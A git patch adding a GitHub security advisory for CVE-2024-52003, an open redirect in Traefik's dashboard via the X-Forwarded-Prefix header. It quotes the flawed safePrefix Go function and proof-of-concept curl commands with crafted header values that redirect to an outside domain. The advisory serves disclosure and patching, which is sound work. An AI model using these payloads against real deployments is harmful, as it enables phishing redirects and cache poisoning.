From 7d44d3bf183f351a21bcb76653d269b54314b324 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 2 Dec 2024 17:14:06 +0000 Subject: [PATCH] Publish GHSA-h924-8g65-j9wg --- .../GHSA-h924-8g65-j9wg.json | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 advisories/github-reviewed/2024/12/GHSA-h924-8g65-j9wg/GHSA-h924-8g65-j9wg.json diff --git a/advisories/github-reviewed/2024/12/GHSA-h924-8g65-j9wg/GHSA-h924-8g65-j9wg.json b/advisories/github-reviewed/2024/12/GHSA-h924-8g65-j9wg/GHSA-h924-8g65-j9wg.json new file mode 100644 index 00000000000..628eddec167 --- /dev/null +++ b/advisories/github-reviewed/2024/12/GHSA-h924-8g65-j9wg/GHSA-h924-8g65-j9wg.json @@ -0,0 +1,92 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h924-8g65-j9wg", + "modified": "2024-12-02T17:12:38Z", + "published": "2024-12-02T17:12:38Z", + "aliases": [ + "CVE-2024-52003" + ], + "summary": "Traefik's X-Forwarded-Prefix Header still allows for Open Redirect", + "details": "### Impact\n\nThere is a vulnerability in Traefik that allows the client to provide the `X-Forwarded-Prefix` header from an untrusted source.\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.14\n- https://github.com/traefik/traefik/releases/tag/v3.2.1\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n
\nOriginal Description\n### Summary\nThe previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.\n\n\n\n### Details\nThe Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:\n```go\nhttp.Redirect(resp, req, safePrefix(req)+\"/dashboard/\", http.StatusFound)\n```\n\n```go\nfunc safePrefix(req *http.Request) string {\n\tprefix := req.Header.Get(\"X-Forwarded-Prefix\")\n\tif prefix == \"\" {\n\t\treturn \"\"\n\t}\n\n\tparse, err := url.Parse(prefix)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn parse.Path\n}\n```\n\n### PoC\nAn attacker can bypass this by sending the following payload:\n\n```bash\ncurl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'\n[...]\n> HTTP/1.1 302 Found\n> Location: //a.com/dashboard/\n```\n\nor similar:\n\n```bash\ncurl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'\n[...]\n> HTTP/1.1 302 Found\n> Location: //a.com/dashboard/\n```\n\n### Impact\nSimilar to the previously reported bug. In cache poisoning scenarios this may be exploitable.\n
", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/traefik/traefik/v2" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.11.14" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/traefik/traefik/v3" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.2.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/traefik/traefik/security/advisories/GHSA-h924-8g65-j9wg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52003" + }, + { + "type": "WEB", + "url": "https://github.com/traefik/traefik/pull/11253" + }, + { + "type": "PACKAGE", + "url": "https://github.com/traefik/traefik" + }, + { + "type": "WEB", + "url": "https://github.com/traefik/traefik/releases/tag/v2.11.14" + }, + { + "type": "WEB", + "url": "https://github.com/traefik/traefik/releases/tag/v3.2.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-601" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-12-02T17:12:38Z", + "nvd_published_at": "2024-11-29T19:15:08Z" + } +} \ No newline at end of file